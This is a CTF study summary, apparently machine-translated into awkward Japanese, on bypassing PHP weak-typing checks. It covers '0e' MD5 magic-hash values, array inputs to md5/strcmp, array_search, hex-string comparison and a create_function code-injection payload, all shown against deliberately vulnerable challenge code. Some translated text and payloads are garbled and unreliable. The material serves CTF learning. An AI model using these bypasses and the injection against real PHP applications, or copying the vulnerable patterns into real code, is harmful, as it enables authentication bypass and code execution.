CTFの知識個人要約-WEB
- PHPと弱いバイパス種々のタイプの比較
== ===の2の符号付きの比較では、PHP
での$a==$b
比較:
$a=null;$b=flase ; //true
$a='';$b=null; //true
そこ比較して多くのそのような例があり、もし
1 <?php
2 var_dump("admin"==0); //true
3 var_dump("1admin"==1); //true
4 var_dump("admin1"==1) //false
5 var_dump("admin1"==0) //true
6 var_dump("0e123456"=="0e4456789"); //true
7 ?>
比較を行うときに我々はPHPで表示されます。この時間は、==、文字列型は、最初ます同じに変換され、比較、その後、。===比較を行うとき、第一判定する文字列の二種類のタイプが同じである場合、比較。後者はバイパスにそれを使用することができ、いくつかの場所がありますしながら、だから、== ===と比較して、前者は、より厳格です。
変換の種類に直面する問題
- 文字列が含まれていない場合は「」、 『E』は、 『E』及びプラスチック範囲内の数値は、これがint値として扱われます。
- それ以外の場合は値をfloatとしてあります
- 文字列は、値が使用され、有効な値で始まり、それ以外の場合は、その値が0であれば、文字列の先頭には、その値を決定します。
1 <?php
2 $test1=1 + "10.5"; // $test1=11.5(float)
3 $test2=1+"-1.3e3"; //$test2=-1299(float)
4 $test3=1+"add-1.3e3";//$test3=1(int)
5 $test4=1+"2admin";//$test4=3(int)
6 $test5=1+"admin2";//$test5=1(int)
7 ?>
これは、PHPコードの場合は、変換中に発生する上記タイプについて説明しました。
で比較CTF弱い型付けが表示されます
- MD5バイパス
比較操作中に、あなたは、このような0E文字列が発生した場合、PHPは、科学的表記にそれを解決します。だから、最も弱いMD5を構築0Eによって解決することができるタイプされました。
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}
ソリューション1
アカウントに0Eで始まるように暗号化されたMD5を取った後、値はその2つの直接アップロード後にMD5暗号化が正常にバイパス0Eし始めている、0であり、実際には、このようなペイロードは、インターネットの多くは、ここに大きなカルマの一部です。
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
240610708
0e462097431906509019562988736854
正しい、我々が正常にバイパスすることができます( '240610708')== MD5( 'QNKCDZO')MD5はそう。
解決策2
私たちは、配列に渡された場合は、MD5()関数は、配列を扱うことができない、リターンを知っていますヌル2つのアレイは、暗号化されたNULLの後に得られる、すなわち等しいです。
ペイロード:? [] = 1 &B [] = 0 にする
ここで継続は、PHPの関数の戻り値サプリメント
(1.md5)の着信がNULLである場合は、配列を返します
2.strpos()は配列を渡す場合、NULLを返します。
3.strcmp関数は配列を比較することができない、アレイは、バイパスに用いることができます。そのため、比較的緩い、内蔵の機能を備えたPHPの文字列配列がnullを返し、偽として見ることができるの
4.sha1()あなたは、配列を渡した場合、また、NULLを返します。
- アレイバイパス
<?php
2 if(!is_array($_GET['test'])){exit();}
3 $test=$_GET['test'];
4 for($i=0;$i<count($test);$i++){
5 if($test[$i]==="admin"){
6 echo "error";
7 exit();
8 }
9 $test[$i]=intval($test[$i]);
10 }
11 if(array_search("admin",$test)===0){
12 echo "flag";
13 }
14 else{
15 echo "false";
16 }
17 ?>
怖がってはいけない、この質問は、あなたが知っているという事実を見ているarray_search()
機能の弱いタイプを、この関数は、次の3つのパラメータ、受け取りarray_search()
を持つ関数in_array()
配列のキーに同じ外観を。値が見つかった場合、キーの照合要素が返されます。見つからない場合は、falseが返されます。しかし、もし三番目のパラメータ厳密真の、唯一のように指定されたデータ型と値は、一貫性のあるリターンキー対応する要素の場合です。第3のパラメータは、デフォルトのflaseでarray_search()
クエリが成功した後にテスト文字列で「admin」の外観は数値配列は、最初の文字列がデジタル0に変換される時、それはので、この場合の建設には、そのキー名に戻りますペイロード= ?test[0]=0
。
- 六角弱い型変換バイパス
そこに問題があり、文字列比較演算の16進数の一種
"0x1e240" == "123456" //true
"0x1e240" == 123456 //true
"0x1e240" == "1e240" //false
0Xの先頭の時刻の文字列であるとき、これを解析するPHPの文字列は小数になり、その後、比較するためです0x1240
小数は123456であるになるための決意をint型と文字列型の比較は123456等しいので、ここ==どこがバイパスされてもよいです。例としては、次のとおりです:
<?php
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>
あなたは= **** URLに、コードのaskiiターンのこの文字列は、現在1および9を比較するキーの文字列を入力することをタイトル手段は、数字の文字列が1-9内部許可されていませんが、最終的にreturn $number == '54975581388';}
、この文は間違って理解していない、のいずれかreturn false;
、またはreturn true;
デジタルスチルとせずに、文字列の値を言うことである54975581388
同じ仕事、使用に時間進型変換なぜなら54975581388
進値はすべて英語でジャストですCCCCC CCCC
。この時間が必要にのみ可能に成功したバイパスの前に0Xを追加!
ペイロードがあります?key=0XCCCCCCCCC
- バイパスの他のタイプ
いくつかの単語の男は、直接コードに、と述べました。
1 <?php
2
3 function flag()
4 {
5 echo "flag{xxxxxxx}";
6 }
7
8 $sort_by = $_GET['sort_by'];
9 $sorter = 'strnatcasecmp';
10 $databases=array('1234','4321');
11 $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
12 usort($databases, create_function('$a, $b', $sort_function));
あなたが呼び出すことができればflag()
、それは光栄が、コードが表示されない、変数は、私たちは一つだけを制御することができますsort_by
ので、GET変数が突破口になります。usort
機能は、カスタムに対応する関数を呼び出す$sort_function
に来て$databases
、計算は、配列を比較するカスタム関数のパラメータを構築するusort
B、関数本体$ sort_functionとして、これは無名関数と等価である書かれています
function mydefine($a,$b){ 函数体($sort_function) }
場合は、この時間は、私たちは、そのコードを復元しますsort_by=1
、と呼ばれます
function mydefine($a,$b){ return 1 * strnatcasecmp($a["1"], $b["1"]);}
今回は中にありますsort_by=?
。この?私たちが電話をかけたいので、ハードワーク、flag()
、我々は閉じてみてくださいreturn
とコンストラクタ、構造的なペイロード
?sort_by=1"],$b["1"];}flag();//
PHPとして、この時点で
function mydefine($a,$b){ return 1 * strnatcasecmp($a["1"],$b["1"];}flag();//"], $b["1"],$b["1"]}flag();//"]);}
コメント記号//はすべてコメントアウトため、コールの最終的な成功の背後にありますflag()
。